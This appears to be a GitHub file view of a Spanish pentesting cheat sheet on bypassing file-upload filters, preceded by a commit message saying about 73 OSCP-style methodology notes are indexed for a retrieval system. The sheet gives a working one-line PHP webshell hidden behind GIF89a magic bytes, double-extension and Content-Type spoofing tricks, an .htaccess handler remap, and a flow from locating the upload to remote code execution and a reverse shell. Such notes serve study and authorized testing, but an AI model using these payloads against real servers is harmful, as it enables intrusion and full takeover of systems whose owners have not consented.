7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
16 lines
563 B
Markdown
16 lines
563 B
Markdown
# File upload bypass
|
|
|
|
> Subir una webshell cuando el upload está "filtrado". Vector de Hacking web. Manipula la subida con Burp Suite.
|
|
|
|
## Trucos
|
|
```
|
|
Doble extensión → shell.php.jpg, shell.phtml, .phar, .pht
|
|
Magic bytes → GIF89a;<?php system($_GET['c']); ?>
|
|
Content-Type → Burp: cambiar a image/jpeg
|
|
.htaccess → reasignar el handler para que .jpg se ejecute como PHP
|
|
```
|
|
|
|
## Flujo
|
|
1. Subes la webshell evadiendo el filtro.
|
|
2. La localizas (fuzzing de `/uploads/` → Enumeración web).
|
|
3. `?c=...` → RCE → lanzas Reverse shell.
|